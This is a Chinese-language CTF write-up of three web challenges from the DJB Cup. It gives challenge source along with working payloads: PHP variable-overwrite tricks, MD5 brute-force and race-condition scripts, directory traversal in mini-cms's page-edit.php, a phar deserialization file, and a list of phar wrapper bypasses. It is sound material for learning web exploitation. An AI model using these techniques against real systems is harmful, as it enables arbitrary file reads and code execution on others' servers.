DJB杯Web

前言

抽空看了一下DJB的题目,还是太菜了。这里把做出来的题以及没做出来的题梳理一下。

veryphp

打开环境,直接给了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 <?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str))
{
die("I am sorry but you have to leave.");
}
else
{
extract($_POST);
}
if(isset($shaw_root))
{
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29)
{
echo $hint;
}
else
{
echo "Almost there."."<br>";
}
}
else
{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber)
{
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}

这个题目考察的是变量覆盖,字符解析,类调用静态方法,爆破md5

[ 空格 + . 这几个符号会被解析成 _ , 因为这里过滤了下划线,我们就用以上符号来替代,然后这里的正则匹配 /^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/ 可以放到那个正则匹配分析的网站去分析 https://regexr-cn.com 随便找到一组符合的,并且要保证长度为29,我这里用的是 -a[<b>aa>>>>dabcphphphphp@Rss ,利用变量覆盖传参过去?shaw[root=-a[<b>aa>>>>dabcphphphphp@Rss,得到hint。

Here is a hint : md5(“shaw”.($SecretNumber).”root”)==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

写个脚本爆破一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()

s='shaw'+'21475'+'root'
print(md5(s))
for i in range(10000,100000):
s='shaw'+str(i)+'root'
s2=md5(s)
if s2 =='166b47a5cb1ca2431a0edfcef200684f':
print(i)
exit()

得到 $SecretNumber=21475 然后最后一步就是类调用静态函数 qwq::oao,得到flag。

最终的payload:shaw[root=-a[<b>aa>>>>dabcphphphphp@Rss&ans=21475&my[ans=qwq::oao

spaceman

也是给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

当时做的时候感觉应该是让我们字符串逃逸,但是在这里,可以直接让 username 为 ctfshowvip就行了,过滤了_ 、 . [ 、 我们可以用 +

payload:user+name=1&pass+word=ctfshowvip 拿到flag

虎山行

给的是一个框架mini-cms,当时是直接搜的,看能不能找到现成的洞,找到的基本都是XSS,就没继续了。

这个其实可以放到seay底下看一看,或者自己审计一下:(这里我用seay扫了一下, page-edit.php 第128行开始:

1
2
3
4
5
6
7
8
9
10
11
12
13
else if (isset($_GET['file'])) {
$file_path = '../mc-files/pages/data/'.$_GET['file'];
$data = (file_get_contents($file_path));
$page_file = $data['file'];
$page_path = $data['path'];
$page_state = $data['state'];
$page_title = $data['title'];
$page_content = $data['content'];
$page_date = $data['date'];
$page_time = $data['time'];
$page_can_comment = isset($data['can_comment']) ? $data['can_comment'] : '1';
echo $data;
}

这里的 file参数可控,并且没有经过任何过滤,直接拼接在 file_path 后面,我们可以尝试一下能不能目录穿越。

1111.png

发现可以成功目录穿越,造成任意文件读取。

我们直接读取 /flag ,得到了提示:

flag{fuckflag*********}flag not here maybe You can access hsxhsxhsxctfshowsecretfilel directory,于是我们访问

hsxhsxhsxctfshowsecretfilel 这个目录,经过测试,其就在 /var/www/html下,于是我们直接访问http://2e3b0af9-9c87-4994-84b6-d05005279254.chall.ctf.show/hsxhsxhsxctfshowsecretfilel/ 得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

我们想尝试把 waf.php 的源码读出来,这里用到的方法和之前一样,目录穿越任意文件读取:

http://2e3b0af9-9c87-4994-84b6-d05005279254.chall.ctf.show/mc-admin/page-edit.php?file=../../../../../../var/www/html/hsxhsxhsxctfshowsecretfilel/waf.php

读到源码:

1
2
3
4
5
6
7
8
9
<?php
function waf($file)
{
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
die("姿势太简单啦,来一点骚的?!");
}else{
return $file;
}
}

因为类里面有一个destruct() 函数,所以可以联想到反序列化,有个文件上传的点,然后 readgzfile()这个函数是支持 phar的,所以我们可以传 phar。接下来就是读的时候,因为开头不能有phar,我们这里可以用 zlib://phar 来绕过

关于phar://的组合绕过开头还有以下几种方式:

1
2
3
4
5
compress.zlib://phar://
compress.zlib2://phar://
compress.bzip://phar://
compress.bzip2://phar://
php://filter/resource=phar://

我们本地来构造一个.phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Ctfshow
{
public $ctfer = 'shower';
}

$a = new Ctfshow();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

改一下生成 .phar文件的后缀,然后找到上传点进行上传,这里有一个地方就是上传路径需要我们推算一下,和纵横杯的那个一样,可以用在线网站进行转换,也可以用php函数转换:

1
2
3
4
<?php
$filename=substr(md5(strtotime('Mon, 25 Jan 2021 08:25:25 GMT')),0,8);
echo $filename;
?>

得到路径后,我们用zlib://phar 触发反序列化

http://2e3b0af9-9c87-4994-84b6-d05005279254.chall.ctf.show/hsxhsxhsxctfshowsecretfilel/?file=zlib:phar:///var/www/html/upload/2dab62b9.png 然后访问 hint.txt 后得到提示:

1
flag{fuckflag***}flag also not here You can access hsxctfshowsecretgetflagl directory

于是我们再去访问这个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

根据题目控制好 username 和 password的值就可以,不过这里有一个条件竞争,我们用python写一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
import requests
import time
from multiprocessing.dummy import Pool as ThreadPool

def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()


if __name__ == '__main__':
url="http://645aad1a-7078-49b1-b27b-146b570d396f.chall.ctf.show/hsxctfshowsecretgetflagl/"
while True:
x= md5(str(int(time.time())))
datas={'unser':'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"'+x+'";}'}
res=requests.get(url=url,params=datas)

然后我们访问 /var/www/html/flag.txt 就可以拿到flag了。

小结

虎山行这道题学到了很多,体验不错~